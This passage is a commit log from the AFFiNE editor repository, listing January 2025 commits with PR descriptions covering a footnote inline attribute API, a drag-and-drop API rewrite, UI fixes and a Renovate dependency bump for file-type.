📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 16:27:22 +00:00
fundon
7436c139ab
fix(core): improve doc title and icon display ( #9755 )
...
Closes: [AF-2132](https://linear.app/affine-design/issue/AF-2132/优化-emoji-title-和-icon-显示 )
2025-01-18 17:29:15 +08:00
zzj3720
95c0f59d96
refactor(editor): remove database-service ( #9769 )
...
close: BS-2426
2025-01-18 05:36:15 +00:00
L-Sun
ad814a0f4f
feat(editor): add sidebar service ( #9761 )
2025-01-17 23:42:50 +08:00
L-Sun
d8727c2001
fix(editor): close embed edit modal on editor unmount ( #9765 )
...
Close [BS-2436](https://linear.app/affine-design/issue/BS-2436/should-close-embed-card-edit-modal-after-editor-unmount )
### What Changes:
- fix(editor): close embed edit modal on editor unmount
- test(editor): add test to embed edit modal when switching mode
2025-01-17 11:53:09 +00:00
donteatfriedrice
df910d7013
feat(editor): add affine inline footnote ( #9745 )
...
[BS-2369](https://linear.app/affine-design/issue/BS-2369/新增-affinetextattribute-footnote ) [BS-2370](https://linear.app/affine-design/issue/BS-2370/支持-footnote-自定义渲染行内内容 ) [BS-2372](https://linear.app/affine-design/issue/BS-2372/提供-footnoteconfigextension ) [BS-2375](https://linear.app/affine-design/issue/BS-2375/footnote-自定义渲染-popup )
### Add new AffineTextAttribute: footnote
```
/**
* FootNote is used to reference a doc, attachment or url.
*/
export interface AffineTextAttributes {
...
footnote?: {
label: string; // label of the footnote
reference: {
type: 'doc' | 'attachment' | 'url'; // type of reference
docId?: string; // the id of the reference doc
url?: string; // the url of the reference network resource
blobId?: string; // the id of the reference attachment
fileName?: string; // the name of the reference attachment
fileType?: string; // the type of the reference attachment
}
} | null
}
```
### FootNoteNodeConfigProvider Extension
#### FootNoteNodeConfig Type Definition
```
type FootNoteNodeRenderer = (
footnote: FootNote,
std: BlockStdScope
) => TemplateResult<1>;
type FootNotePopupRenderer = (
footnote: FootNote,
std: BlockStdScope,
abortController: AbortController
) => TemplateResult<1>;
export interface FootNoteNodeConfig {
customNodeRenderer?: FootNoteNodeRenderer;
customPopupRenderer?: FootNotePopupRenderer;
interactive?: boolean;
hidePopup?: boolean;
}
```
#### FootNoteNodeConfigProvider Class
```
export class FootNoteNodeConfigProvider {
private _customNodeRenderer?: FootNoteNodeRenderer;
private _customPopupRenderer?: FootNotePopupRenderer;
private _hidePopup: boolean;
private _interactive: boolean;
get customNodeRenderer() {
return this._customNodeRenderer;
}
get customPopupRenderer() {
return this._customPopupRenderer;
}
get doc() {
return this.std.store;
}
get hidePopup() {
return this._hidePopup;
}
get interactive() {
return this._interactive;
}
constructor(
config: FootNoteNodeConfig,
readonly std: BlockStdScope
) {
this._customNodeRenderer = config.customNodeRenderer;
this._customPopupRenderer = config.customPopupRenderer;
this._hidePopup = config.hidePopup ?? false;
this._interactive = config.interactive ?? true;
}
setCustomNodeRenderer(renderer: FootNoteNodeRenderer) {
this._customNodeRenderer = renderer;
}
setCustomPopupRenderer(renderer: FootNotePopupRenderer) {
this._customPopupRenderer = renderer;
}
setHidePopup(hidePopup: boolean) {
this._hidePopup = hidePopup;
}
setInteractive(interactive: boolean) {
this._interactive = interactive;
}
}
```
#### FootNoteNodeConfigProvider Extension
```
export const FootNoteNodeConfigIdentifier =
createIdentifier<FootNoteNodeConfigProvider>('AffineFootNoteNodeConfig');
export function FootNoteNodeConfigExtension(
config: FootNoteNodeConfig
): ExtensionType {
return {
setup: di => {
di.addImpl(
FootNoteNodeConfigIdentifier,
provider =>
new FootNoteNodeConfigProvider(config, provider.get(StdIdentifier))
);
},
};
}
```
The footnote node can be extended by this extension.
### FootnoteInlineSpec
```
export const FootNoteInlineSpecExtension = InlineSpecExtension(
'footnote',
provider => {
const std = provider.get(StdIdentifier);
const config =
provider.getOptional(FootNoteNodeConfigIdentifier) ?? undefined;
return {
name: 'footnote',
schema: FootNoteSchema.optional().nullable().catch(undefined),
match: delta => {
return !!delta.attributes?.footnote;
},
renderer: ({ delta }) => {
return html`<affine-footnote-node
.delta=${delta}
.std=${std}
.config=${config}
></affine-footnote-node>`;
},
embed: true,
};
}
);
```
2025-01-17 09:38:43 +00:00
CatsJuice
7d1d167858
chore: bump theme ( #9732 )
2025-01-17 09:22:15 +00:00
zzj3720
aa21ac6d64
refactor(editor): move database selection into the corresponding view ( #9752 )
2025-01-17 09:03:13 +00:00
pengx17
7dc470e7ea
feat(core): add new bs dnd adapter ( #9717 )
2025-01-16 13:54:50 +00:00
doouding
99717196c5
refactor: rewrite blocksuite dnd ( #9595 )
...
### Changed
- Refactored BlockSuite drag-and-drop using @atlaskit/pragmatic-drag-and-drop/element/adapter.
- Updated block dragging to use the new drag-and-drop infrastructure.
### BlockSuite DND API
Access the BlockSuite drag-and-drop API via `std.dnd`. This is a lightweight wrapper around pragmatic-drag-and-drop, offering convenient generic types and more intuitive option names.
#### Drag payload structure
There's some constrain about drag payload. The whole drag payload looks like this:
```typescript
type DragPayload = {
entity: {
type: string
},
from: {
at: 'blocksuite',
docId: string
}
}
```
- The `from` field is auto-generated—no need for manual handling.
- The `entity` field is customizable, but it must include a `type`.
All drag-and-drop methods accept a generic type for entity, ensuring more accurate payloads in event handlers.
```typescript
type BlockEntity = {
type: 'blocks',
blockIds: string[]
}
dnd.draggable<BlockEntity>({
element: someElement,
setDragData: () => {
// the return type must satisfy the generic type
// in this case, it's BlockEntity
return {
type: 'blocks',
blockIds: []
}
}
});
dnd.monitor<BlockEntity>({
// the arguments is same for other event handler
onDrag({ source }) {
// the type of this is BlockEntity
source.data.entity
}
})
```
#### Drop payload
When hover on droppable target. You can set drop payload as well. All drag-and-drop methods accept a second generic type for drop payload.
The drop payload is customizable. Additionally, the DND system will add an `edge` field to the final payload object, indicating the nearest edge of the drop target relative to the current drag position.
```typescript
type DropPayload = {
blockId: string;
}
dnd.dropTarget<BlockEntity, DropPayload>({
getData() {
// the type should be DropPayload
return {
blockId: 'someId'
}
}
});
dnd.monitor<BlockEntity, DropPayload>({
// drag over on drop target
onDrag({ location }) {
const target = location.current.dropTargets[0];
// the type is DropPayload
target.data;
// retrieve the nearest edge of the drop target relative to the current drop position.
target.data.edge;
}
})
```
2025-01-16 12:36:58 +00:00
renovate
908afe19ee
chore: bump up file-type version to v20 ( #9731 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [file-type](https://redirect.github.com/sindresorhus/file-type ) | [`^19.6.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [file-type](https://redirect.github.com/sindresorhus/file-type ) | [`^19.5.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>sindresorhus/file-type (file-type)</summary>
### [`v20.0.0`](https://redirect.github.com/sindresorhus/file-type/releases/tag/v20.0.0 )
[Compare Source](https://redirect.github.com/sindresorhus/file-type/compare/v19.6.0...v20.0.0 )
##### Breaking
- Drop MIME-type and extension enumeration in types ([#​693](https://redirect.github.com/sindresorhus/file-type/issues/693 )) [`0ff11c6`](https://redirect.github.com/sindresorhus/file-type/commit/0ff11c6 )
- Remove `NodeFileTypeParser` in favor of using `FileTypeParser` on all platforms ([#​707](https://redirect.github.com/sindresorhus/file-type/issues/707 )) [`ff8eed8`](https://redirect.github.com/sindresorhus/file-type/commit/ff8eed8 )
##### Improvements
- Give API access to `FileTypeParser#detectors` ([#​704](https://redirect.github.com/sindresorhus/file-type/issues/704 )) [`7e72bbc`](https://redirect.github.com/sindresorhus/file-type/commit/7e72bbc )
- Improve Nikon RAW NEF (Tiff) format detection ([#​670](https://redirect.github.com/sindresorhus/file-type/issues/670 )) [`cf6fc1e`](https://redirect.github.com/sindresorhus/file-type/commit/cf6fc1e )
- Add support for Java archive (`.jar`) ([#​719](https://redirect.github.com/sindresorhus/file-type/issues/719 )) [`8651809`](https://redirect.github.com/sindresorhus/file-type/commit/8651809 )
- Add support for MSOffice macro-enabled docs and templates ([#​720](https://redirect.github.com/sindresorhus/file-type/issues/720 )) [`7fe5667`](https://redirect.github.com/sindresorhus/file-type/commit/7fe5667 )
- Add support for OpenDocument graphics and templates ([#​718](https://redirect.github.com/sindresorhus/file-type/issues/718 )) [`4db407d`](https://redirect.github.com/sindresorhus/file-type/commit/4db407d )
- Add support for Microsoft Excel template with macros (.xltm) ([#​714](https://redirect.github.com/sindresorhus/file-type/issues/714 )) [`1fe621a`](https://redirect.github.com/sindresorhus/file-type/commit/1fe621a )
- Add support for Microsoft Word template (.dotx) ([#​713](https://redirect.github.com/sindresorhus/file-type/issues/713 )) [`643ef78`](https://redirect.github.com/sindresorhus/file-type/commit/643ef78 )
- Add support for Microsoft Excel template (`.xltx`) ([#​712](https://redirect.github.com/sindresorhus/file-type/issues/712 )) [`0dab3e0`](https://redirect.github.com/sindresorhus/file-type/commit/0dab3e0 )
- Add support for Microsoft PowerPoint template ( `.potx`) ([#​710](https://redirect.github.com/sindresorhus/file-type/issues/710 )) [`f978619`](https://redirect.github.com/sindresorhus/file-type/commit/f978619 )
- Add support for ZIP decompression using `@tokenizer/inflate` ([#​695](https://redirect.github.com/sindresorhus/file-type/issues/695 )) [`399b0f1`](https://redirect.github.com/sindresorhus/file-type/commit/399b0f1 )
- Add support for `.lz4` file format ([#​706](https://redirect.github.com/sindresorhus/file-type/issues/706 )) [`74acf94`](https://redirect.github.com/sindresorhus/file-type/commit/74acf94 )
- Add support for format `.drc`, Google's Draco 3D Data Compression ([#​702](https://redirect.github.com/sindresorhus/file-type/issues/702 )) [`e99257d`](https://redirect.github.com/sindresorhus/file-type/commit/e99257d )
##### Fixes
- Fix code sequence "File Type Box" detection ([#​705](https://redirect.github.com/sindresorhus/file-type/issues/705 )) [`7d4dd8d`](https://redirect.github.com/sindresorhus/file-type/commit/7d4dd8d )
***
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 10:08:14 +00:00
L-Sun
969ac30874
fix(editor): reactive heading icon ( #9729 )
...
Close [BS-2407](https://linear.app/affine-design/issue/BS-2407/[bug]-edgeless-里选中-title-后更改,hint-没有改变 )
2025-01-16 08:32:15 +00:00
fundon
676f855564
fix(editor): stop paste-copy event bubbling on bookmark modal ( #9713 )
...
Closes: [BS-2402](https://linear.app/affine-design/issue/BS-2402/bookmark-没法粘贴修改标题,会跑到下一行 )
2025-01-16 06:34:09 +00:00
L-Sun
94c9717a35
feat(editor): edgeless page block toolbar ( #9707 )
...
Close [BS-2315](https://linear.app/affine-design/issue/BS-2315/page-block-header )
### What Changes
- Add header toolbar to page block (the first note in canvas)
- Add e2e tests
- Add some edgeless e2e test utils. **The package `@blocksuite/affine` was added to `"@affine-test/kit"`**
2025-01-15 12:04:44 +00:00
fundon
7002289c58
fix(editor): avoid drag and drag over updating drag indicator at the same time ( #9656 )
...
* add a `dragging` signal to the file drop manager
* `drag over` logic should not be triggered when inside app
* avoid drag and drag over updating `drag indicator` at the same time
2025-01-15 08:10:08 +00:00
donteatfriedrice
4f421efb22
fix(editor): init default theme observer value according to data-theme ( #9698 )
2025-01-15 04:04:06 +00:00
zzj3720
ff295f383f
refactor(editor): enable the noUncheckedIndexedAccess rule for the block-database package ( #9691 )
...
close: BS-2269
2025-01-14 14:35:46 +00:00
zzj3720
80f8944188
fix(editor): should not update table selection after table is destroyed ( #9665 )
2025-01-13 10:43:02 +00:00
fundon
7e5e6031e8
chore(editor): update default colors of shape ( #9633 )
...
Closes: [PD-2176](https://linear.app/affine-design/issue/PD-2176/edgeless-shape默认颜色调整 )
* updates shape's text color to the `#000000ff` and custom button should be selected by default in color picker
* updates shape background default color palette to `medium`
<img width="727" alt="Screenshot 2025-01-13 at 11 07 14" src="https://github.com/user-attachments/assets/81962741-0dbc-4990-8eec-db5e48624305 " />
<img width="444" alt="Screenshot 2025-01-13 at 11 07 09" src="https://github.com/user-attachments/assets/2d119e33-635e-4bd4-826f-e3094c8a3fa2 " />
<img width="764" alt="Screenshot 2025-01-13 at 11 08 14" src="https://github.com/user-attachments/assets/09f5c778-0e25-4972-8529-8d8323c27594 " />
2025-01-13 10:19:58 +00:00
zzj3720
810e656174
fix(editor): add shift middleware for tag select panel ( #9664 )
...
fix: BS-1749
2025-01-13 09:05:05 +00:00
Brooooooklyn
e72371d15c
style: use typescript resolver for eslint import plugin ( #9662 )
2025-01-13 05:56:29 +00:00
donteatfriedrice
5c4e87ddb5
feat(editor): support text highlight html adapter ( #9632 )
...
[BS-2061](https://linear.app/affine-design/issue/BS-2061/html-adapter-支持-text-highlight-样式 )
2025-01-13 02:20:58 +00:00